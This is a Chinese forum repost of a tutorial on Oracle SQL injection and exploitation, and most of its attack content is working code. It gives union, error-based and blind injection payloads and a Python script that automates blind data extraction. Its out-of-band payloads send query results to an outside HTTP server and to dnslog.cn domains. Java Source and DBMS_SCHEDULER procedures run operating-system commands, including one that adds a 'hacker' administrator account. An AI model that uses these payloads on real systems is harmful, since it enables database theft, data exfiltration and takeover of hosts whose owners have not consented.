安全矩阵

 找回密码
 立即注册
搜索
查看: 771|回复: 0

干货 | Oracle注入和漏洞利用姿势总结

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2023-2-13 21:45:56 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2023-2-13 21:45 编辑


干货 | Oracle注入和漏洞利用姿势总结
Linux网络安全 2023-02-13 11:27 发表于北京
以下文章来源于HACK学习呀 ,作者BuNny
原文链接:干货 | Oracle注入和漏洞利用姿势总结

基础介绍
Oracle Database,又名 Oracle RDBMS,或简称 Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说 Oracle 数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。
Oracle 信息收集
        • 查询数据库版本信息
  1. -- 无需特权
  2. SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
  3. -- 需要特权
  4. SELECT version FROM v$instance;
复制代码

        • 查询操作系统版本
  1. SELECT banner FROM v$version where banner like 'TNS%';
复制代码
     • 查询数据库运行的主机名
  1. -- 需要特权
  2. SELECT UTL_INADDR.get_host_name FROM dual;
  3. -- 需要特权
  4. SELECT host_name FROM v$instance;
  5. -- 需要特权
  6. SELECT UTL_INADDR.get_host_name('127.0.0.1') FROM dual;
复制代码


    • 查询当前用户权限的所有数据库
  1. SELECT DISTINCT owner,table_name FROM all_tables WHERE owner=user;
复制代码
    • 查询当前数据库名
  1. -- 无需特权
  2. SELECT global_name FROM global_name;
  3. -- 无需特权
  4. SELECT SYS.DATABASE_NAME FROM DUAL;
  5. -- 需要特权
  6. SELECT name FROM v$database;
  7. -- 需要特权
  8. SELECT instance_name FROM v$instance;
复制代码

     • 查询数据库所有用户
  1. SELECT username FROM all_users ORDER BY username;
复制代码
    • 查询所有 DBA 用户
  1. -- 需要特权
  2. SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';
复制代码
    • 查询当前数据库用户名
  1. SELECT user FROM dual;
复制代码
   • 查询当前用户的系统权限
  1. SELECT * FROM session_privs;
复制代码
用户权限是执行特定类型的 SQL 语句或访问其他用户对象的权利,Oracle 中的权限可以分为系统权限和对象权限。前者是系统规定用户使用数据库的权限,后者是用户对其自己的表或视图的存取修改权限。
Oracle 有超过 100 种不同的系统权限,只有实例管理员或具有 ADMIN 特权的用户才能授予或撤销系统特权,关于每种系统权限的细节,请读者自行查阅其官方文档:System privileges
   • 查询当前用户名的角色
  1. SELECT * FROM session_privs;
复制代码

角色相当于一个用户组,其将多个权限和角色组合在一起,以便可以同时向用户授予和撤销它们。必须先为用户启用角色,然后用户才能使用该角色。下表所示为 Oracle 系统常见的角色。
编辑
image-20221220154756197
Oracle 注入
联合注入
方法与一般的 SQL 联合注入相同。值得注意的是,Oracle 联合注入一般不使用数字占位,而是 NULL,因为使用数字占位可能会发生错误。

      • 判断数据库类型
  1. -- 使用 Oracle 专有的函数判断是否为 Oracle 数据库
  2. ?ename=-1' or to_char(1)=1--+
  3. ?ename=-1' or to_number('2e0')=2--+
复制代码

    • 查询当前用户下的所有表名
  1. ?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1),NULL from dual--+
  2. ?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name<>'BONUS'),NULL from dual--+
  3. ?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT')),NULL from dual--+
  4. ?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+
  5. ?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+
复制代码


N编辑
image-20221220182434243
   • 查询表中的字段名
  1. ?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1),NULL from dual--+
  2. ?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO')),NULL from dual--+
  3. ?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME')),NULL from dual--+
  4. ?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB')),NULL from dual--+
  5. ?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR')),NULL from dual--+
  6. ?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR','HIREDATE')),NULL from dual--+
复制代码

编辑
image-20221220161336921
• 查询表中具体的数据
  1. ?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1),NULL from dual--+
  2. ?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename<>'SMITH'),NULL from dual--+
  3. ?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename  not in ('SMITH','ALLEN')),NULL from dual--+
  4. ?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename  not in ('SMITH','ALLEN','WARD')),NULL from dual--+
  5. ?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename  not in ('SMITH','ALLEN','WARD','JONES')),NULL from dual--+
复制代码

编辑
image-20221220182301025
报错注入
MSSQL 数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。前提是服务器允许返回报错信息。
Oracle 数据库的报错注入是通过某些函数报错前进行子查询,再通过错误页面回显查询结果。下面介绍几种常见的报错注入函数的示例。
ctxsys.drithsx.sn
  1. ?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~')--+
  2. ?ename=-1' or 1=ctxsys.drithsx.sn(1,chr(126)%7c%7c(select user from dual)%7c%7cchr(126))--+
  3. ?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from user_tables where rownum=1)%7c%7c'~')--+
  4. ?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from user_tables where rownum=1 and table_name<>'DEPT')%7c%7c'~')--+
复制代码

编辑
image-20221220184103740
XMLType
  1. ?ename=-1' or (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null--+
复制代码

dbms_utility.sqlid_to_sqlhash
  1. ?ename=-1' or (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
复制代码
ordsys.ord_dicom.getmappingxpath
  1. ?ename=-1' or (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
复制代码
dbms_xdb_version.*

   • dbms_xdb_version.checkin
  1. ?ename=-1' or (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+
复制代码

     • bms_xdb_version.makeversioned
  1. ?ename=-1' or (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+
复制代码
      • dbms_xdb_version.uncheckout
  1. ?ename=-1' or (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+
复制代码

utl_inaddr.*

在 Oracle 11g 之前不需要任何权限,在 11g 之后需要当前的数据库用户拥有网络访问权限,否则将被访问控制列表(ACL)拒绝。

  • utl_inaddr.get_host_name
  1. ?ename=-1' or 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+
复制代码
      • utl_inaddr.get_host_address
  1. ?ename=-1' or 1=utl_inaddr.get_host_address('~'%7c%7c(select user from dual)%7c%7c'~') --+
复制代码
布尔盲注

方法与一般的 SQL 布尔盲注相同,使用 ASCII 码逐个比较字符,将返回为 True 的结果输出即可。
  1. ?ename=-1' or ascii(substr((select user from dual),1,1))>65--+
复制代码

下面给出布尔盲注脚本:
  1. import requests
  2. import time

  3. url = 'http://192.168.2.134:8080/search.jsp?ename='

  4. cookies = {  # 如果目标网站要事先登录,就加上cookies吧
  5.     "PHPSESSID": "c8ab8r49nd2kk0qfhs0dcaktl3"
  6. }

  7. flag = ''
  8. for i in range(1, 90000):
  9.     low = 32
  10.     high = 128
  11.     mid = (low + high) // 2
  12.     while (low < high):
  13.         payload = url + "-1' or ascii(substr((select user from dual),%d,1))>%d-- " % (i, mid)
  14.         res = requests.get(url=payload)

  15.         """
  16.         data = {
  17.             "user_id": payload
  18.         }
  19.         res = requests.get(url=url, data=data)
  20.         """

  21.         if 'SMITH' in res.text:  # 为真时,即判断正确的时候的条件
  22.             low = mid + 1
  23.         else:
  24.             high = mid
  25.         mid = (low + high) // 2
  26.     if (mid == 32 or mid == 127):
  27.         break
  28.     flag = flag + chr(mid)
  29.     print(flag)

  30. # S
  31. # SC
  32. # SCO
  33. # SCOT
  34. # SCOTT
复制代码
时间盲注
Oracle 的 dbms_pipe.receive_message() 函数用来从指定管道获取消息。该函数接收两个参数,第一个参数用来指定管道名称,第二个参数用来指定等待时间。
编辑
image-20221220201511688
执行以下 Payload,页面将有 2s 的明显延时。
  1. ?ename=SMITH' and 1=(dbms_pipe.receive_message('RDS',2))--+
复制代码
因此,在 Oracle 数据库中可以通过 dbms_pipe.receive_message() 函数的延时作用来进行时间盲注。由于 Oracle 中没有 if() 函数,因此我们需要使用 decode() 函数或 case when 语句来代替。如下实例,当语句执行成功,页面延时 2s 返回即为 True。
    • 使用 decode 函数
  1. ?ename=SMITH' and 1=decode(substr((select user from dual),1,1),'S',dbms_pipe.receive_message('RDS',2),0)--+
复制代码
   • 使用 case when 函数
  1. ?ename=SMITH' and 1=(case when (ascii(substr((select user from dual),1,1))>65) then dbms_pipe.receive_message('RDS',2) else 0 end)--+
复制代码
带外通道(OOB)
带外通道(Out Of Band Channels,OOB)使用一些除常规通道以外的替代的信道来请求服务器资源,一般发送 HTTP 或者 DNS 请求,将查询结果带到请求中,然后监测外网服务器的 HTTP 和 DNS 日志,从日志中获取 SQL 语句的查询结果。这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式,尤其是基于时间的盲注,能极大地加快速度。
需要注意的是,常用的可以发起 OOB 函数需要当前的数据库用户拥有网络访问权限。此外,还需要数据库服务器可以出网。
utl_http.request
  1. -- 发起 HTTP 请求
  2. ?ename=-1' or 1=utl_http.request('http://192.168.2.135:2333/'%7c%7c(select banner from sys.v_$version where rownum=1))--
复制代码

编辑
image-20221220224413215
utl_inaddr.get_host_address
  1. -- 发起 DNS 请求
  2. ?ename=-1' or 1=utl_inaddr.get_host_address((select user from dual)%7c%7c'.btzq7f.dnslog.cn')--+
复制代码

编辑
image-20221220224216939
sys.dbms_ldap.init
  1. ?ename=-1' or (select sys.dbms_ldap.init((select user from dual)%7c%7c'.esilh0.dnslog.cn',80) from dual) is not null--+
复制代码

httpuritype
  1. ?ename=-1' or (select httpuritype('http://192.168.2.135:2333/'%7c%7c(select user from dual)).getclob() from dual) is not null--+
复制代码
Oracle 相关攻击面
Java Source

从 Oracle 8i 开始,Oracle Database 允许在数据库中存储和执行 Java,并提供了 Java 池,用于存放 Java 代码、Java 语句的语法分析表、Java 语句的执行方案和 Java 虚拟机中的数据,以便进行 Java 程序开发。
在实际利用中,如果我们获取了 Oracle 管理员级别的用户凭据,可以使用 SQL 语句直接从 Java 源代码创建函数或存储过程,从而执行系统命令。默认情况下,创建的创建函数或存储过程是在创建者的架构中创建的。
所需的利用条件如下:
  •         • 当前用户具有 CREATE SESSION 权限
  •         • 当前用户具有相关 Java 权限:
    •                 • java.io.FilePermission
    •                 • writeFileDescriptor
    •                 • readFileDescriptor
            
对于第一条,普通用户基本都拥有 CREATE SESSION 权限并能够创建函数和存储过程,但是如果想要执行 Java 或通过 Java 执行系统命令,则必须具备这三条权限。在 Oracle 数据库中,只有 DBA 级别的用户默认拥有着三条 Java 权限,其余用户正常情况下需要由管理员来授予,相关命令如下。
  1. -- 授予相关 Java 权限
  2. exec dbms_java.grant_permission( 'UserName', 'SYS:java.io.FilePermission','<<ALL FILES>>', 'execute');
  3. exec dbms_java.grant_permission('UserName','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
  4. exec dbms_java.grant_permission('UserName','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

  5. -- 撤销相关 Java 权限
  6. exec dbms_java.revoke_permission( 'UserName', 'SYS:java.io.FilePermission','<<ALL FILES>>', 'execute');
  7. exec dbms_java.revoke_permission('UserName','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
  8. exec dbms_java.revoke_permission('UserName','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
复制代码
下面笔者通过 Java Source,分别演示创建函数和存储过程的方法。
Function
下面演示创建函数的具体步骤。
(1)创建 Java Source,并命名为 JavaUtil。
  1. create or replace and resolve java source named "JavaUtil" as
  2. import java.io.*;
  3. public class JavaUtil extends Object
  4. {
  5.     public static String ExecCommand(String cmd)
  6.     {
  7.         try {
  8.             BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
  9.             String stemp,str = "";
  10.             while ((stemp = myReader.readLine()) != null) str += stemp + "\n";
  11.             myReader.close();
  12.             return str;
  13.         } catch (Exception e){
  14.             return e.toString();
  15.         }
  16.     }
  17. }
  18. /
复制代码
(2)从 JavaUtil 创建一个函数 ExecCommand,用于执行系统命令。
  1. create or replace function ExecCommand(cmd in varchar2) return varchar2
  2. as
  3. language java
  4. name 'JavaUtil.ExecCommand(java.lang.String) return String';
  5. /
复制代码
(3)调用 ExecCommand 函数,执行系统命令,执行结果如下图所示。
select ExecCommand('whoami') from dual;
编辑
image-20221221201552607
(4)利用结束后,删除创建的 Java Source 和函数。
  1. drop function ExecCommand;
  2. drop java source "JavaUtil";
复制代码
Store Procedure

下面演示创建存储过程的具体步骤。值得注意的是,通过存储过程执行命令无法获得执行回显,但可以通过写文件等方式获取执行结果。
(1)创建 Java Source,并命名为 JavaUtil。
  1. create or replace and resolve java source named "JavaUtil" as
  2. import java.lang.*;
  3. import java.io.*;
  4. public class JavaUtil
  5. {
  6.     public static void ExecCommand(String cmd) throws IOException
  7.     {
  8.       Runtime.getRuntime().exec(cmd);
  9.     }
  10. }
  11. /
复制代码
(2)从 JavaUtil 创建一个存储过程 ExecCommand,用于执行系统命令.
  1. create or replace procedure ExecCommand(cmd varchar2)
  2. as
  3. language java
  4. name 'JavaUtil.ExecCommand(java.lang.String)';
  5. /
复制代码
(3)执行 ExecCommand 存储过程,在系统上创建一个新用户,执行结果如下图所示。
  1. exec ExecCommand('net user hacker Hacker@123 /add');
复制代码
编辑
image-20221221201928028
(4)利用结束后,删除创建的 Java Source 和存储过程。
  1. drop procedure ExecCommand;
  2. drop java source "JavaUtil";
复制代码
Scheduler

在 Oracle 11g 中推出了 Scheduler,这是一个企业作业调度程序,可帮助用户简化数百甚至数千个任务的调度。Oracle 调度程序(Scheduler)是由 DBMS_SCHEDULER PL/SQL 包中的过程和函数实现的。
在实际利用中,如果我们获取了 Oracle 管理员级别的用户凭据,可以通过 DBMS_SCHEDULER 包中存储过程创建程序/作业对象,来调度操作系统的可执行文件或脚本,从而执行系统命令。
所需的利用条件如下:
  •         • Oracle 服务器支持 Scheduler
  •         • 当前用户具有 DBA 级别的权限。所需的具体系统权限可以参考下图。
编辑
image-20221221235158140
下面笔者演示相关利用步骤。
(1)使用 CREATE_PROGRAM 过程创建一个程序,如下所示。
  1. BEGIN
  2.   DBMS_SCHEDULER.CREATE_PROGRAM (
  3.    program_name           => 'EXEC_PROGRAM',
  4.    program_type           => 'EXECUTABLE',
  5.    program_action         => 'net user hacker Hacker@123 /add',
  6.    number_of_arguments    => 0,
  7.    enabled                => TRUE
  8.   );
  9. END;
  10. /

  11. -- EXEC DBMS_SCHEDULER.CREATE_PROGRAM('EXEC_PROGRAM', 'EXECUTABLE', 'net user hacker Hacker@123 /add', 0, TRUE);
复制代码
其中 program_action 是这个程序的行为,它可以是操作系统中的可执行文件或 PL/SQL 的文本。将 enabled 设为 TURE 表示立即启用程序。
默认情况下,程序是在创建者的架构中创建的,为了让其他用户使用该程序,就必须授予他们 EXECUTE 权限。
(2)通过 CREATE_JOB 过程创建作业对象,当作业启动时执行第一步中创建的程序 EXEC_PROGRAM,如下所示。该过程有很多重载,关于不同重载的定义请读者自行查阅其官方文档:CREATE_JOB Procedure
  1. BEGIN
  2.   DBMS_SCHEDULER.CREATE_JOB (
  3.    job_name           =>  'EXEC_JOB',
  4.    program_name       =>  'EXEC_PROGRAM',
  5.    start_date         =>  NULL,
  6.    repeat_interval    =>  NULL,
  7.    end_date           =>  NULL,
  8.    enabled            =>  TRUE,
  9.    auto_drop          =>  TRUE
  10.   );
  11. END;
  12. /

  13. -- EXEC DBMS_SCHEDULER.CREATE_JOB('EXEC_JOB', 'EXEC_PROGRAM', NULL, NULL, NULL, 'DEFAULT_JOB_CLASS', TRUE, TRUE, NULL, 'REGULAR', NULL, NULL);
复制代码
执行结果如下图所示。
编辑
image-20221221224845997
此外,也可以通过 CREATE_JOB 直接创建作业对象来执行命令,无需创建程序对象,如下所示。
  1. BEGIN
  2. DBMS_SCHEDULER.CREATE_JOB(
  3.    job_name             =>  'EXEC_JOB',
  4.    job_type             =>  'EXECUTABLE',
  5.    job_action           =>  'net user hacker Hacker@123 /add',
  6.    start_date           =>  NULL,
  7.    repeat_interval      =>  NULL,
  8.    end_date             =>  NULL,
  9.    enabled              =>  TRUE,
  10.    auto_drop            =>  TRUE
  11. );
  12. END;
  13. /

  14. -- EXEC DBMS_SCHEDULER.CREATE_JOB('EXEC_JOB', 'EXECUTABLE', 'net user hacker Hacker@123 /add', 0, NULL, NULL, NULL, 'DEFAULT_JOB_CLASS', TRUE, TRUE, NULL, NULL, NULL);
复制代码
编辑









回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 22:40 , Processed in 0.014422 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表